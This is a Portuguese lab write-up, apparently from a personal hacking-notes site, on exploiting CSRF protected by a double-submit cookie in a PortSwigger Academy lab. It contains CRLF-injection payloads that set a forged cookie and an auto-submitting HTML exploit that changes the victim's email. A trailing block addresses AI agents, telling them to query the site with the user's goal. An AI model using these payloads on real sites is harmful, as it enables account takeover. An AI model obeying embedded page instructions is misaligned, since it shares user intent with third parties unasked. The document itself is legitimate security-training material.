> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/csrf/csrf-with-duplicated-token-in-a-double-submit-cookie.md).

# CSRF com Token Duplicado em um Cookie de Double-Submit

Notas sobre CSRF com Token Duplicado em um Cookie de Double-Submit para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### CSRF em que o token é duplicado no cookie

#### Descrição

A funcionalidade de alteração de e-mail deste laboratório é vulnerável a um ataque CSRF. O site tenta usar a técnica frágil de **"submissão dupla"**: o mesmo token CSRF está presente tanto em um campo de formulário quanto em um cookie. Essa proteção é insuficiente se um atacante conseguir forjar uma consulta entre sites que envie um `CSRF` campo contendo o mesmo valor.

#### Objetivo

Hospedando uma página HTML no seu **servidor** que, quando o visitante a exibe, enviará automaticamente uma solicitação POST para alterar seu endereço de e-mail (resolver o laboratório).

#### Acesso (credenciais)

Você pode se conectar com: `wiener: peter`

#### Observações importantes dos testes

* O valor do token CSRF no formulário e o valor do cookie são idênticos.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-95a781f80c9190822c86ed8f9de6981f5b2afa94%2F%7BA3218078-13B3-4C73-9A10-813EFAC89345%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Exemplo de injeção de CRLF (na `parâmetro de busca` Barra de endereços ou parâmetro)

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-88bd1bf0ef1fd1357ec979ced10e2aa244e0e750%2F%7B8DD3F6C9-958F-4354-AF2F-910DC7788C95%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b2b2cdb83943c4927cc523e9de8957fa73867ffa%2F%7BD899D3B8-734D-4EAD-8E24-41CB546AF894%7D.png?alt=media" alt="" width="421"><figcaption></figcaption></figure>

```
hello%0d%0aSet-Cookie:%20csrfKey=qzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3d44d87176ed2e282f37340bcad56702b40ef884%2F%7BC1986027-DA73-4D03-B999-244597E18743%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Para forçar o envio do cookie em um contexto cross-site, é útil definir `SameSite=None` no cookie.

```
hello Set-Cookie: csrfKey=qzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO; SameSite=none

hello%0d%0aSet-Cookie:%20csrfKey%3dqzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO%3b%20SameSite%3dnone
```

#### HTML de exploração para depositar no servidor de exploração

Aqui está um exemplo de uma página que coloca o valor do token CSRF no `CSRF` campo, define o e-mail de destino e, em seguida, envia o formulário automaticamente aproveitando a consulta da imagem (que aciona a tentativa de gravar o cookie por meio da busca):

```html
<form class="login-form" name="change-email-form" action="https://0a0c00eb04620591804903aa00c900fd.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacked@jord4n.pro">
      <input required="" type="hidden" name="csrf" value="qzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO">
</form>

<img  src="https://0a0c00eb04620591804903aa00c900fd.web-security-academy.net/?search=hello%0d%0aSet-Cookie:%20csrf%3dqzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO%3b%20SameSite%3dnone" onerror="document.forms[0].submit();">
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/csrf/csrf-with-duplicated-token-in-a-double-submit-cookie.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
